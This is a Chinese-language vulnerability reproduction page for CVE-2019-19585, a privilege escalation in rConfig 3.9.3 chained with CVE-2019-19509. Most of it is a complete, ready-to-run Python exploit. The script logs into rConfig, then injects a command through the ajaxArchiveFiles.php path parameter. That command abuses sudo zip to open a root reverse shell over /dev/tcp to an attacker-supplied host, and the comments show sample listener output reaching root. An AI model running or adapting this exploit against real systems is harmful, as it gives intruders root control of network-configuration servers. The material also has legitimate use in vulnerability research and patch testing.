（CVE-2019-19585）rConfig v3.9.3 本地权限提升漏洞

一、漏洞简介

rConfig是一款开源的网络配置管理实用程序。 rConfig 3.9.3版本中存在安全漏洞。攻击者可利用该漏洞绕过本地安全限制。

二、漏洞影响

rConfig v3.9.3

三、复现过程

这个漏洞需要CVE-2019-19509 + CVE-2019-19585相配合才能深入利用

poc

CVE-2019-19585.py

# Exploit Title: rConfig <= 3.9.3 - Authenticated Remote Code Execution - root
# Date: 2019-11-07
# CVE-2019-19509 + CVE-2019-19585
# Exploit Author: vikingfr
# Ref : https://raw.githubusercontent.com/v1k1ngfr/exploits-rconfig/master/rconfig_root_RCE.py
# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)
# Software Link : http://files.rconfig.com/downloads/scripts/centos7_install.sh
# Version: tested v3.9.3
# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24
#
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall
#
# $ python3 exploit.py https://192.168.43.34 admin root 192.168.43.245 4444
# rconfig - CVE-2019-19509 + CVE-2019-19585 - Web authenticated RCE - root
# [+] Logged in successfully, triggering the payload...
# [+] Check your listener !
# ...
# $ nc -nvlp 4444
# listening on [any] 4444 ...
# connect to [192.168.43.245] from (UNKNOWN) [192.168.43.34] 34458
# sh: no job control in this shell
# sh-4.2# id
# id
# uid=0(root) gid=0(root) groups=0(root)
# sh-4.2#

#!/usr/bin/python3

import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print ("rconfig - CVE-2019-19509 + CVE-2019-19585 - Web authenticated RCE - root")

if len(sys.argv) != 6:
    print ("[+] Usage : ./rconfig_exploit.py https://target username password yourIP yourPort")
    exit()

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
#payload = '''`bash -i>& /dev/tcp/{0}/{1} 0>&1`'''.format(ip, port)
# root RCE payload, including CVE-2019-19585
payload = ''' `touch /tmp/CVE-2019-19585.txt;sudo zip -q /tmp/LPE.zip /tmp/CVE-2019-19585.txt -T -TT '/bin/sh -i>& /dev/tcp/{0}/{1} 0>&1 #'` '''.format(ip, port)

request = requests.session()

login_info = {
    "user": username,
    "pass": password,
    "sublogin": 1
}

login_request = request.post(
    target+"/lib/crud/userprocess.php",
     login_info,
     verify=False,
     allow_redirects=True
 )

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

if dashboard_request.status_code == 200:
    print ("[+] Logged in successfully, triggering the payload...")
    encoded_request = target+"/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload))
    print ("[+] Check your listener !")
    exploit_req = request.get(encoded_request)

elif dashboard_request.status_code == 302:
    print ("[-] Wrong credentials !")
    exit()